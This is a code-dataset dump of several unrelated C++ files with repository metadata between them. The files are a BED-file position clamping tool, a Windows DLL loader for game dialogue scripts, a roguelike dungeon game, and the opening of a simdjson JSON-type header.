//optional: fix position bounds using the FAI file
if (getInfile("fai")!="")
{
//load maxima for each chromosome (store using chromosome number)
QMap<int, int> max;
QStringList fai = Helper::loadTextFile(getInfile("fai"), true, '~', true);
foreach(QString line, fai)
{
QStringList parts = line.split("\t");
if (parts.count()<2) continue;
bool ok = false;
int value = parts[1].toInt(&ok);
if (!ok) continue;
max[Chromosome(parts[0]).num()] = value;
}
//apply maxima
for (int i=0; i<file.count(); ++i)
{
BedLine& line = file[i];
if (!max.contains(line.chr().num()))
{
THROW(ArgumentException, "Chromsome '" + line.chr().str() + "' not contained in FASTA index file '" + getInfile("fai") + "'!");
}
line.setEnd(std::min(line.end(), max[line.chr().num()]));
}
}
//store file
file.store(getOutfile("out"));
}
};
#include "main.moc"
int main(int argc, char *argv[])
{
ConcreteTool tool(argc, argv);
return tool.execute();
}
|
59c196915213839f969d13255e4f4f977b5fea39
|
715cfa11de952cc8baf42d52c63823bbd3d2f878
|
/PCFE-GameOn/MyGraGame_Alpha_0.2d/src/lib/ScriptsDLL.cpp
|
d6bd249326e9b71b57de2160065f24e05dc70937
|
[] |
no_license
|
Drwalin/PCF_Engine
|
f513fa9daf3c0bb96e6931b6460deb15abf4f195
|
43814c983e40bb2f5a6544875c1f75dbff701eae
|
refs/heads/master
| 2021-09-04T11:47:09.441634
| 2018-01-18T11:36:28
| 2018-01-18T11:36:28
| 117,959,850
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,668
|
cpp
|
ScriptsDLL.cpp
|
#include<windows.h>
#include<iostream>
#include<conio.h>
using namespace std;
typedef int( * MYPROC1 )( char * );
typedef unsigned int( * MYPROC2 )( unsigned int, int );
typedef unsigned int( * MYPROC3 )( char * );
typedef int( * MYPROC4 )( unsigned int );
typedef char * ( * MYPROC5 )( unsigned int, int );
typedef char * ( * MYPROC6 )( unsigned int );
MYPROC1 LoadScripts;
MYPROC2 GetNextDialogueIdAnswer;
MYPROC3 GetDialogueIdName;
MYPROC4 GetDialogueType;
MYPROC5 GetTextAnswers;
MYPROC6 GetTextNPC;
HINSTANCE hDll;
int InitScriptsFunctions()
{
hDll = LoadLibrary( "ScriptDLL" );
if( hDll != NULL )
{
LoadScripts =( MYPROC1 ) GetProcAddress( hDll, "_LoadScripts" );
GetNextDialogueIdAnswer =( MYPROC2 ) GetProcAddress( hDll, "_GetNextDialogueIdAnswer" );
GetDialogueIdName =( MYPROC3 ) GetProcAddress( hDll, "_GetDialogueIdName" );
GetDialogueType =( MYPROC4 ) GetProcAddress( hDll, "_GetDialogueType" );
GetTextAnswers =( MYPROC5 ) GetProcAddress( hDll, "_GetTextAnswers" );
GetTextNPC =( MYPROC6 ) GetProcAddress( hDll, "_GetTextNPC" );
if( LoadScripts == NULL ||
GetNextDialogueIdAnswer == NULL ||
GetDialogueIdName == NULL ||
GetDialogueType == NULL ||
GetTextAnswers == NULL ||
GetTextNPC == NULL )
{
FreeLibrary( hDll );
return -69;
}
return 1;
}
else
{
return -69;
}
}
int DeInitScriptsFunctions()
{
if( hDll ==NULL )
{
return -69;
}
else
{
FreeLibrary( hDll );
return 1;
}
return -69;
}
|
19613ddc654023ff0e824ec22eda0f7f9cae4750
|
2dd52f0414f21c0d3db178adbf741642915d7094
|
/dungeon.cpp
|
7af39094264fbb444ddc47729c5260165b19a25f
|
[] |
no_license
|
jjpestacio/mini-rogue
|
35fd2642ccb377457594d30ee676f50630bdda20
|
dfd123fee1527157ebfb1026e50b2f5b0bcf1b89
|
refs/heads/master
| 2021-01-12T13:14:57.297805
| 2016-10-28T01:17:46
| 2016-10-28T01:17:46
| 72,161,416
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 28,059
|
cpp
|
dungeon.cpp
|
#include "dungeon.h"
#include "utilities.h"
#include <iostream>
#include <vector>
#include <string>
using namespace std;
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Game Objects //////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
char GameObject::getType() { // For Spawning and inventory reasons
if (m_name == SHORT_SWORD || m_name == MACE || m_name == LONG_SWORD || m_name == MAGIC_AXE || m_name == MAGIC_FANGS_OF_SLEEP)
return WEAPON;
if (m_name == TELEPORTATION || m_name == ENHANCE_ARMOR || m_name == ENHANCE_DEXTERITY || m_name == STRENGTH || m_name == ENHANCE_HEALTH)
return SCROLL;
if (m_name == GOLDEN_IDOL_NAME)
return GOLDEN_IDOL;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Weapons ///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Weapon::setType(string name) { //
if (name == SHORT_SWORD) {
setDexBonus(0);
setDamageAmt(2);
}
if (name == MACE) {
setDexBonus(0);
setDamageAmt(2);
}
if (name == LONG_SWORD) {
setDexBonus(2);
setDamageAmt(4);
}
if (name == MAGIC_AXE) {
setDexBonus(5);
setDamageAmt(5);
}
if (name == MAGIC_FANGS_OF_SLEEP) {
setDexBonus(3);
setDamageAmt(2);
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Random Generators /////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Point* randomPoint(Level *currLevel) {
if (currLevel->rooms.empty())
return NULL;
Room* randRoom = currLevel->rooms[randInt(currLevel->rooms.size())]; // Grabs a random room
int x = (randRoom->getWestBoundary() + 1) + randInt(randRoom->getLength()); // Gets random coordinates within randRoom
int y = (randRoom->getNorthBoundary() + 1) + randInt(randRoom->getWidth());
if (currLevel->level[y][x] == ROOM) // If spot is not occupied
return new Point(x, y);
else // if (spot is occupied)
return randomPoint(currLevel); // Recursive function that keeps calling itself until it returns a valid point
}
Monster* randomMonster(Level* currLevel) {
int numLevel = currLevel->getDungeon()->getNumLevel();
//if (numLevel == 0 || numLevel == 1) Level 0-1
int caseLimit = 1; // case 0 (only Snakewomen)
if (numLevel == 2) // Level 2
caseLimit = 2; // case 0 (Snakewomen), case 1 (Bogeymen)
if (numLevel == 3) // Level 3
caseLimit = 3; // case 0 (Snakewomen), case 1 (Bogeymen), case 2 (Dragons)
switch (randInt(caseLimit)) { // Generates random monsters for a level according to what level it is
case 0:
return (new Snakewomen(currLevel));
case 1:
return (new Bogeymen(currLevel));
case 2:
return (new Dragon(currLevel));
}
}
string randomScroll() {
switch (randInt(5)) { // Generates random scrolls for dragon drops
case 0:
return TELEPORTATION;
case 1:
return ENHANCE_ARMOR;
case 2:
return ENHANCE_DEXTERITY;
case 3:
return ENHANCE_HEALTH;
case 4:
return STRENGTH;
}
}
string randomObject() {
switch (randInt(8)) { // Generates random SpawnedObjects
case 0:
return SHORT_SWORD;
case 1:
return MACE;
case 2:
return LONG_SWORD;
case 3:
return TELEPORTATION;
case 4:
return ENHANCE_ARMOR;
case 5:
return STRENGTH;
case 6:
return ENHANCE_HEALTH;
case 7:
return ENHANCE_DEXTERITY;
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Actors ///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Actor::Actor(Level* level, char actorType, int init_hp, int init_armor, int init_str, int init_dex, Weapon* init_weapon, Point* init_pos) {
m_currLevel = level;
type = actorType;
if (init_hp > MAX_HP)
m_hp = MAX_HP;
else
m_hp = init_hp;
if (init_hp > MAX_HP)
m_maxHp = MAX_HP;
else
m_maxHp = init_hp;
if (init_armor > MAX_ARMOR)
m_armor = MAX_ARMOR;
else
m_armor = init_armor;
if (init_str > MAX_STR)
m_str = MAX_STR;
else
m_str = init_str;
if (init_dex > MAX_DEX)
m_dex = MAX_DEX;
else
m_dex = init_dex;
m_weapon = init_weapon;
m_pos = init_pos;
m_inventory.push_back(m_weapon);
}
void Actor::regainHp() {
if (trueWithProbability(1.0 / 10.0))
if (getHp() < getMaxHp())
setHp(getHp() + 1);
}
void Actor::move(char input) {
switch (input) {
case ARROW_LEFT:
if (canMove(ARROW_LEFT))
getPos()->setX(getPos()->getX() - 1);
break;
case ARROW_RIGHT:
if (canMove(ARROW_RIGHT))
getPos()->setX(getPos()->getX() + 1);
break;
case ARROW_UP:
if (canMove(ARROW_UP))
getPos()->setY(getPos()->getY() - 1);
break;
case ARROW_DOWN:
if (canMove(ARROW_DOWN))
getPos()->setY(getPos()->getY() + 1);
break;
case MONSTER: // All monsters use move if pathToPlayer() <= smellDistance (Unless for the Dragon)
int playerX = getCurrLevel()->player->getPos()->getX(); // Did not declare above because this function is recursive
int playerY = getCurrLevel()->player->getPos()->getY(); // and thus the Player isn't the only one calling move (Monsters are also)
int monsterX = getPos()->getX();
int monsterY = getPos()->getY();
if (monsterX < playerX) {
move(ARROW_RIGHT); // Calls move to try to move closer to the player
break;
}
if (monsterX > playerX) {
move(ARROW_LEFT);
break;
}
if (monsterY < playerY) {
move(ARROW_DOWN);
break;
}
if (monsterY > playerY) {
move(ARROW_UP);
break;
}
}
}
bool Actor::canMove(char dir) {
int actorX = getPos()->getX(); // Monsters also call this function, so I did not use playerX and playerY
int actorY = getPos()->getY();
if (dir == ARROW_DOWN)
if (actorY + 1 < getCurrLevel()->getCurrRoom(this)->getSouthBoundary()) { // Checks if next move will hit the boundary
if (actorInWay(getCurrLevel(), actorX, actorY + 1)) { // If there is an Actor in the next spot
attack(getCurrLevel()->getActor(actorX, actorY + 1)); // Attack it (Monsters will only attack the Player and the Player will only
return false; // attack Monsters)
}
else
return true; // No boundary or actor in way, so move in that direction
}
if (dir == ARROW_UP)
if (actorY - 1 > getCurrLevel()->getCurrRoom(this)->getNorthBoundary()) {
if (actorInWay(getCurrLevel(), actorX, actorY - 1)) {
attack(getCurrLevel()->getActor(actorX, actorY - 1));
return false;
}
else
return true;
}
if (dir == ARROW_LEFT)
if (actorX - 1 > getCurrLevel()->getCurrRoom(this)->getWestBoundary()) {
if (actorInWay(getCurrLevel(), actorX - 1, actorY)) {
attack(getCurrLevel()->getActor(actorX - 1, actorY));
return false;
}
else
return true;
}
if (dir == ARROW_RIGHT)
if (actorX + 1 < getCurrLevel()->getCurrRoom(this)->getEastBoundary()) {
if (actorInWay(getCurrLevel(), actorX + 1, actorY)) {
attack(getCurrLevel()->getActor(actorX + 1, actorY));
return false;
}
else
return true;
}
return false; // If a boundary is in the way don't move
}
bool Actor::actorInWay(Level* currLevel, int x, int y) {
// Player attacks if a monster is in the way
if (this == currLevel->player && (currLevel->level[y][x] == DRAGON || currLevel->level[y][x] == SNAKEWOMEN || currLevel->level[y][x] == BOGEYMEN))
return true;
// Monsters attack if player is in the way
else if (currLevel->player->getPos()->getX() == x && currLevel->player->getPos()->getY() == y)
return true;
return false;
}
void Actor::attack(Actor* actor) {
int damageDealt = randInt(getStr() + getWeapon()->getDamageAmt()); // Computed by given forumlas
int attackerPoints = getDex() + getWeapon()->getDexBonus(); // Computed by given formulas
int defenderPoints = actor->getDex() + actor->getWeapon()->getDexBonus();
if (randInt(attackerPoints) >= randInt(defenderPoints)) // Determines if Actor attacks actor
actor->setHp(actor->getHp() - damageDealt); // If true, Actor deals damageDealt to actor
if (actor->getActorType() == DRAGON) // If the actor defending is a dragon, it will attack back
attack(this); // since an attack counts as a move and the dragon only attacks
// if the Player is immediately in its vincity
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Player ////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Player::doAction(char input) { // The Player's actions
if (input == ARROW_LEFT || input == ARROW_RIGHT || input == ARROW_DOWN || input == ARROW_UP)
move(input);
if (input == INVENTORY || input == WIELD || input == READ_SCROLL)
showInv(input);
if (input == PICK_UP)
pickUp();
if (input == STAIRCASE)
descend();
if (input == CHEAT)
cheat();
}
void Player::cheat() {
setArmor(MAX_ARMOR);
setDex(MAX_DEX);
setMaxHp(MAX_HP);
setHp(MAX_HP);
setStr(MAX_STR);
}
void Player::descend() {
// If player is on the staircase
if (getCurrLevel()->staircase->getPos()->getX() == getPos()->getX() && getCurrLevel()->staircase->getPos()->getY() == getPos()->getY()) {
Dungeon* dungeon = getCurrLevel()->getDungeon();
dungeon->setNumLevel(dungeon->getNumLevel() + 1); // The next floor is now the current floor
dungeon->setCurrFloor(dungeon->levels[dungeon->getNumLevel()]); //
dungeon->getCurrFloor()->addPlayer(this); // Add the same Player to the next level
setPos(randomPoint(dungeon->getCurrFloor())); // Place the Player randomly on the next level
}
}
void Player::pickUp() {
for (size_t index = 0; index < getCurrLevel()->spawnedObjects.size(); index++)
if (getPos()->getX() == getCurrLevel()->spawnedObjects[index]->getPos()->getX() && getPos()->getY() == getCurrLevel()->spawnedObjects[index]->getPos()->getY()) {
if (getCurrLevel()->spawnedObjects[index]->getType() == WEAPON) // Checks if the Player is standing on one of the SpawnedObjects
m_inventory.push_back(new Weapon(getCurrLevel()->spawnedObjects[index]->getName())); // If so, add the SpawnedObject to the Player's inventory as
// a GameObject
if (getCurrLevel()->spawnedObjects[index]->getType() == SCROLL)
m_inventory.push_back(new Scroll(getCurrLevel()->spawnedObjects[index]->getName()));
if (getCurrLevel()->spawnedObjects[index]->getType() == GOLDEN_IDOL) {
m_inventory.push_back(new GameObject(getCurrLevel()->spawnedObjects[index]->getName()));
getCurrLevel()->endGame();
}
getCurrLevel()->spawnedObjects.erase(getCurrLevel()->spawnedObjects.begin() + index); // Removes the SpawnedObject the Player picked up from the level
}
}
void Player::showInv(char input) {
clearScreen();
cout << "Inventory:" << endl;
for (size_t index = 0; index < m_inventory.size(); index++) // (char)(index + 97) == 'a'
cout << (char)(index + 97) << ". " << m_inventory[index]->getName() << endl;
char select = getCharacter(); // Player's choice to select an item from the inventory (if 'w' or 'r')
if (input == WIELD) // If the Player initially wanted to wield a weapon (opened the inventory by typing 'w')
wield(select);
if (input == READ_SCROLL) // If the Player initially wanted to wield a weapon (opened the inventory by typing 'r')
read(select);
}
void Player::read(char selection) {
for (size_t index = 0; index < m_inventory.size(); index++)
if (selection == (char)(index + 97)) {
Scroll* scroll = dynamic_cast<Scroll*>(m_inventory[index]); // If the item that was selected is actually a scroll
if (scroll != nullptr) { // If scroll, perform the scrolls ability
if (scroll->getName() == TELEPORTATION)
setPos(randomPoint(getCurrLevel()));
if (scroll->getName() == ENHANCE_ARMOR)
setArmor(getArmor() + 1 + randInt(3));
if (scroll->getName() == ENHANCE_DEXTERITY)
setDex(getDex() + 1);
if (scroll->getName() == ENHANCE_HEALTH)
setMaxHp(getMaxHp() + 3 + randInt(7));
if (scroll->getName() == STRENGTH)
setStr(getStr() + 1 + randInt(3));
m_inventory.erase(m_inventory.begin() + index);
}
}
// else don't read it
}
void Player::wield(char selection) {
for (size_t index = 0; index < m_inventory.size(); index++)
if (selection == (char)(index + 97)) {
Weapon* weaponToWield = dynamic_cast<Weapon*>(m_inventory[index]); // If item selected is actually a weapon, wield
if (weaponToWield != nullptr)
setWeapon(weaponToWield);
}
// else don't wield it
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Monsters //////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Monster::doAction(int smellDistance) {
if (pathToPlayer() <= smellDistance) // If player is within the monster's smell distance
move(MONSTER); // (Does not apply to Dragon since the dragon attacks if the player is in its immediate vincity)
if (getActorType() == DRAGON) // Dragon has a chance of healing hp
regainHp();
}
void Monster::dropItem(double dropRate) {
if (trueWithProbability(dropRate)) { // Monster drops depending on their drop rates
string type; // Figures out what item to drop depending on the monster
if (getActorType() == SNAKEWOMEN)
type = getWeapon()->getName();
if (getActorType() == BOGEYMEN)
type = MAGIC_AXE;
if (getActorType() == DRAGON)
type = randomScroll();
getCurrLevel()->spawnedObjects.push_back(new SpawnedObject(type, getPos())); // Adds the dropped item to the level in the Monster's pos where it died
}
}
int Monster::pathToPlayer() {
int stepsToPlayer = 0;
int monsterX = getPos()->getX();
int monsterY = getPos()->getY();
int playerX = getCurrLevel()->player->getPos()->getX();
int playerY = getCurrLevel()->player->getPos()->getY();
if (monsterX < playerX)
stepsToPlayer = stepsToPlayer + (playerX - monsterX); // Adds the difference between the player's rows and the monster's rows and the player's
// columns and the monster's columns
else if (monsterX > playerX)
stepsToPlayer = stepsToPlayer + (monsterX - playerX);
if (monsterY < playerY)
stepsToPlayer = stepsToPlayer + (playerY - monsterY);
else if (monsterY > playerY)
stepsToPlayer = stepsToPlayer + (monsterY - playerY);
return stepsToPlayer;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Level /////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Level::Level(Dungeon* dungeon) {
m_dungeon = dungeon;
for (int row = 0; row <= 17; row++) // Initializes a blank level
for (int column = 0; column <= 69; column++)
level[row][column] = NOT_FILLED;
createRooms(); // Creates the level without the player
//addCorridors();
addSpawnedObjects();
if (getDungeon()->getNumLevel() < 4)
addStaircase();
else
addGoldenIdol();
addMonsters();
}
bool Level::endGame() {
if (player->m_inventory.back()->getType() == GOLDEN_IDOL)
return true;
return false;
}
Actor* Level::getActor(int x, int y) { // Gets actor at level[y][x]
if (player->getPos()->getX() == x && player->getPos()->getY() == y)
return player;
for (size_t index = 0; index < monsters.size(); index++)
if (monsters[index]->getPos()->getX() == x && monsters[index]->getPos()->getY() == y)
return monsters[index];
}
void Level::addStaircase() {
staircase = new Staircase(this);
}
void Level::addGoldenIdol() {
spawnedObjects.push_back(new SpawnedObject(GOLDEN_IDOL_NAME, this));
}
void Level::addPlayer(Player* startPlayer) {
player = startPlayer; // Uses the same Player for the whole game
player->setCurrLevel(this); // Adds player to the current level
}
void Level::addMonsters() {
for (int index = 0; index < 2 + randInt(5 * (0 + 1)); index++)
monsters.push_back(randomMonster(this)); // Adds random monsters depending on the level number
}
void Level::addSpawnedObjects() {
int numObjects = 2 + randInt(2); // 2 to 3 SpawnedObjects per level
for (int index = numObjects; index > 0; index--)
spawnedObjects.push_back(new SpawnedObject(randomObject(), this)); // Adds numObjects random SpawnedObjects
}
Room* Level::getCurrRoom(Actor* actor) { // Gets the room the actor is currently in
int actorX = actor->getPos()->getX();
int actorY = actor->getPos()->getY();
for (size_t index = 0; index < rooms.size(); index++) // Traverses the container of rooms until it finds the one the actor is in
if (actorY < rooms[index]->getSouthBoundary() && actorY > rooms[index]->getNorthBoundary() && actorX < rooms[index]->getEastBoundary() && actorX > rooms[index]->getWestBoundary())
return rooms[index];
return NULL; // Should never reach
}
bool Level::playerDead() {
if (player->getHp() <= 0)
return true;
return false;
}
void Level::updateMonsters() { // Checks for dead monsters and removes them from the level
for (size_t index = 0; index < monsters.size(); index++)
if (monsters[index]->getHp() <= 0) {
monsters[index]->dropItem(monsters[index]->getDropRate());
monsters.erase(monsters.begin() + index);
}
}
void Level::updateLevel() { // Before the level is printed, the level is updated
updateMonsters();
// Adds the rooms
for (size_t index = 0; index < rooms.size(); index++)
for (size_t coords = 0; coords < rooms[index]->roomCoords.size(); coords++)
level[rooms[index]->roomCoords[coords]->getY()][rooms[index]->roomCoords[coords]->getX()] = ROOM;
// Add spawned objects
for (size_t index = 0; index < spawnedObjects.size(); index++) {
// Add Weapons
if (spawnedObjects[index]->getType() == WEAPON)
level[spawnedObjects[index]->getPos()->getY()][spawnedObjects[index]->getPos()->getX()] = WEAPON;
// Add Scrolls
if (spawnedObjects[index]->getType() == SCROLL)
level[spawnedObjects[index]->getPos()->getY()][spawnedObjects[index]->getPos()->getX()] = SCROLL;
if (spawnedObjects[index]->getType() == GOLDEN_IDOL)
level[spawnedObjects[index]->getPos()->getY()][spawnedObjects[index]->getPos()->getX()] = GOLDEN_IDOL;
}
// Add the Staircase
if (getDungeon()->getNumLevel() < 4)
level[staircase->getPos()->getY()][staircase->getPos()->getX()] = STAIRCASE;
// Add the Player
level[player->getPos()->getY()][player->getPos()->getX()] = PLAYER;
// Add Monsters
for (size_t index = 0; index < monsters.size(); index++) { // Add monsters
// Add Snakewomen
if (monsters[index]->getActorType() == SNAKEWOMEN)
level[monsters[index]->getPos()->getY()][monsters[index]->getPos()->getX()] = SNAKEWOMEN;
// Add Bogeymen
if (monsters[index]->getActorType() == BOGEYMEN)
level[monsters[index]->getPos()->getY()][monsters[index]->getPos()->getX()] = BOGEYMEN;
// Add Dragons
if (monsters[index]->getActorType() == DRAGON)
level[monsters[index]->getPos()->getY()][monsters[index]->getPos()->getX()] = DRAGON;
}
// Add Walls
addWalls();
}
void Level::createRooms() {
for (int currRow = 1; currRow <= AVAIL_ROWS; currRow++) { // Traverse level
for (int currCol = 1; currCol <= AVAIL_COLS; currCol++) { //
// if (trueWithProbability(0.03) && rooms.empty()) { // To test with only one room in each level
if (trueWithProbability(0.03)) { // Random probability to produce a room (chosen arbitrarily)
Room* room = new Room();
int roomWidth = room->getWidth();
int roomLength = room->getLength();
if (roomFits(currRow, currCol, roomWidth, roomLength) && !AdjacentRoom(level, currRow, currCol, roomWidth, roomLength)) { // Create room if possible
rooms.push_back(room); // Add room to list of rooms
for (int roomRow = currRow; roomRow < (currRow + roomWidth); roomRow++)
for (int roomCol = currCol; roomCol < (currCol + roomLength); roomCol++) {
level[roomRow][roomCol] = ROOM;
room->roomCoords.push_back(new Point(roomCol, roomRow)); // Room Coords
// North Boundary
if (roomRow == currRow)
room->setNorthBoundary(roomRow - 1);
// South Boundary
if (roomRow == currRow + roomWidth - 1)
room->setSouthBoundary(roomRow + 1);
// West Boundary
if (roomCol == currCol)
room->setWestBoundary(roomCol - 1);
// East Boundary
if (roomCol == currCol + roomLength - 1)
room->setEastBoundary(roomCol + 1);
}
}
}
}
}
}
bool Level::roomFits(int currentRow, int currentCol, int roomWidth, int roomLength) {
// if (there is space for the room in the level from the current pos)
return (currentRow + roomWidth < AVAIL_ROWS) && (currentCol + roomLength < AVAIL_COLS);
}
bool Level::AdjacentRoom(char currentLevel[][70], int currentRow, int currentCol, int roomWidth, int roomLength) {
for (int roomRow = currentRow; roomRow <= (currentRow + roomWidth); roomRow++) // Traverse possible room space to see if there are any rooms surrounding
for (int roomCol = currentCol; roomCol <= (currentCol + roomLength); roomCol++) {
// North of space
if (currentLevel[roomRow - 1][roomCol] == ROOM)
return true;
// South of space
if (currentLevel[roomRow + 1][roomCol] == ROOM)
return true;
// East of space
if (currentLevel[roomRow][roomCol + 1] == ROOM)
return true;
// West of space
if (currentLevel[roomRow][roomCol - 1] == ROOM)
return true;
}
return false;
}
void Level::printLevel(char selection) { // selection is the player's most recent typed character
for (int row = 0; row <= 17; row++) { // Prints contents of level
for (int column = 0; column <= 69; column++)
cout << level[row][column];
cout << endl;
}
// Prints the stats of the player and his actions
cout << "Dungeon Level: 0, "
<< "Hit points: " << player->getHp() << ", "
<< "Armor: " << player->getArmor() << ", "
<< "Strength: " << player->getStr() << ", "
<< "Dexterity: " << player->getDex()
<< endl << endl;
if (playerDead()) {
cout << "Press q to exit game." << endl;
return;
}
if (endGame()) {
cout << "Congratulations, you won!" << endl;
cout << "Press q to exit game." << endl;
return;
}
if (selection == WIELD)
cout << "You are wielding " << player->getWeapon()->getName();
if (selection == PICK_UP)
cout << "You pick up " << player->m_inventory.back()->getName();
//if (selection == READ_SCROLL);
}
void Level::addWalls() {
for (int row = 0; row <= 17; row++) // row = 0 & row = 18 are reserved for walls
for (int column = 0; column <= 69; column++) // column = 0 & column = 70 are reserved for walls
if (level[row][column] == NOT_FILLED)
level[row][column] = WALL;
}
/*void Level::addCorridors() {
for (int numRooms = 0; numRooms < rooms.size() - 1; numRooms++) {
int startRow = rooms[numRooms]->boundary[randInt(rooms[numRooms]->boundary.size())]->getY(); // Grabs a random point on the boundary of a room
int startCol = rooms[numRooms]->boundary[randInt(rooms[numRooms]->boundary.size())]->getX();
int endRow = rooms[numRooms + 1]->boundary[randInt(rooms[numRooms + 1]->boundary.size())]->getY();
int endCol = rooms[numRooms + 1]->boundary[randInt(rooms[numRooms + 1]->boundary.size())]->getX();
placePath(startRow, startCol, endRow, endCol);
}
}
bool Level::placePath(int startRow, int startCol, int endRow, int endCol) {
level[startRow][startCol] = ROOM;
if (startRow == endRow && startCol == endCol)
return true;
// North
if (startRow < endRow && level[startRow - 1][startCol] == NOT_FILLED && level[startRow - 1][startCol + 1] == NOT_FILLED && level[startRow - 1][startCol - 1] == NOT_FILLED && placePath(startRow - 1, startCol, endRow, endCol))
return true;
// South
if (startRow > endRow && level[startRow + 1][startCol] == NOT_FILLED && level[startRow + 1][startCol + 1] == NOT_FILLED && level[startRow + 1][startCol - 1] == NOT_FILLED && placePath(startRow + 1, startCol, endRow, endCol))
return true;
// West
if (startCol > endCol && level[startRow][startCol - 1] == NOT_FILLED && level[startRow + 1][startCol - 1] == NOT_FILLED && level[startRow - 1][startCol - 1] == NOT_FILLED && placePath(startRow, startCol - 1, endRow, endCol))
return true;
// East
if (startRow < endRow && level[startRow][startCol + 1] == NOT_FILLED && level[startRow + 1][startCol + 1] == NOT_FILLED && level[startRow - 1][startCol + 1] == NOT_FILLED && placePath(startRow, startCol + 1, endRow, endCol))
return true;
return false;
}*/
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////// Dungeon ///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Dungeon::Dungeon() {
for (int index = 0; index < MAX_LEVELS; index++) { // Pre create all the levels
setNumLevel(index);
levels[index] = new Level(this);
}
setNumLevel(0); // Starting level
setCurrFloor(levels[getNumLevel()]); //
startPlayer = new Player(getCurrFloor()); // Initialize the Player
getCurrFloor()->addPlayer(startPlayer);
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
65b6dc198ec615df6f2368f2794a6c62c8f03e18
|
d5ad70f7730485128cea5ad94f0406dce23f708e
|
/include/simdjson/generic/ondemand/json_type.h
|
d0cde165c9f58f849f4f3552a2df78aadf07abbd
|
[
"Apache-2.0",
"BSD-3-Clause",
"MIT",
"BSL-1.0"
] |
permissive
|
simdjson/simdjson
|
8d4a857b73907f2ba0ee854f314cca4921b58109
|
68ba9a1b2a5fa9be0f5d8a58a97c0169cf4b5a36
|
refs/heads/master
| 2023-09-06T03:19:04.797181
| 2023-08-31T00:23:58
| 2023-08-31T00:23:58
| 126,412,363
| 7,937
| 634
|
Apache-2.0
| 2023-09-09T16:48:43
| 2018-03-23T00:49:18
|
C++
|
UTF-8
|
C++
| false
| false
| 5,724
|
h
|
json_type.h
|
#ifndef SIMDJSON_GENERIC_ONDEMAND_JSON_TYPE_H
#ifndef SIMDJSON_CONDITIONAL_INCLUDE
#define SIMDJSON_GENERIC_ONDEMAND_JSON_TYPE_H
#include "simdjson/generic/ondemand/base.h"
#include "simdjson/generic/implementation_simdjson_result_base.h"
#include "simdjson/generic/numberparsing.h"
#endif // SIMDJSON_CONDITIONAL_INCLUDE
namespace simdjson {
namespace SIMDJSON_IMPLEMENTATION {
namespace ondemand {
/**
* The type of a JSON value.
*/
enum class json_type {
// Start at 1 to catch uninitialized / default values more easily
array=1, ///< A JSON array ( [ 1, 2, 3 ... ] )
object, ///< A JSON object ( { "a": 1, "b" 2, ... } )
number, ///< A JSON number ( 1 or -2.3 or 4.5e6 ...)
string, ///< A JSON string ( "a" or "hello world\n" ...)
boolean, ///< A JSON boolean (true or false)
null ///< A JSON null (null)
};
/**
* A type representing a JSON number.
* The design of the struct is deliberately straight-forward. All
* functions return standard values with no error check.
*/
struct number {
/**
* return the automatically determined type of
* the number: number_type::floating_point_number,
* number_type::signed_integer or number_type::unsigned_integer.
*
* enum class number_type {
* floating_point_number=1, /// a binary64 number
* signed_integer, /// a signed integer that fits in a 64-bit word using two's complement
* unsigned_integer /// a positive integer larger or equal to 1<<63
* };
*/
simdjson_inline ondemand::number_type get_number_type() const noexcept;
/**
* return true if the automatically determined type of
* the number is number_type::unsigned_integer.
*/
simdjson_inline bool is_uint64() const noexcept;
/**
* return the value as a uint64_t, only valid if is_uint64() is true.
*/
simdjson_inline uint64_t get_uint64() const noexcept;
simdjson_inline operator uint64_t() const noexcept;
/**
* return true if the automatically determined type of
* the number is number_type::signed_integer.
*/
simdjson_inline bool is_int64() const noexcept;
/**
* return the value as a int64_t, only valid if is_int64() is true.
*/
simdjson_inline int64_t get_int64() const noexcept;
simdjson_inline operator int64_t() const noexcept;
/**
* return true if the automatically determined type of
* the number is number_type::floating_point_number.
*/
simdjson_inline bool is_double() const noexcept;
/**
* return the value as a double, only valid if is_double() is true.
*/
simdjson_inline double get_double() const noexcept;
simdjson_inline operator double() const noexcept;
/**
* Convert the number to a double. Though it always succeed, the conversion
* may be lossy if the number cannot be represented exactly.
*/
simdjson_inline double as_double() const noexcept;
protected:
/**
* The next block of declaration is designed so that we can call the number parsing
* functions on a number type. They are protected and should never be used outside
* of the core simdjson library.
*/
friend class value_iterator;
template<typename W>
friend error_code numberparsing::slow_float_parsing(simdjson_unused const uint8_t * src, W writer);
template<typename W>
friend error_code numberparsing::write_float(const uint8_t *const src, bool negative, uint64_t i, const uint8_t * start_digits, size_t digit_count, int64_t exponent, W &writer);
template<typename W>
friend error_code numberparsing::parse_number(const uint8_t *const src, W &writer);
/** Store a signed 64-bit value to the number. */
simdjson_inline void append_s64(int64_t value) noexcept;
/** Store an unsigned 64-bit value to the number. */
simdjson_inline void append_u64(uint64_t value) noexcept;
/** Store a double value to the number. */
simdjson_inline void append_double(double value) noexcept;
/** Specifies that the value is a double, but leave it undefined. */
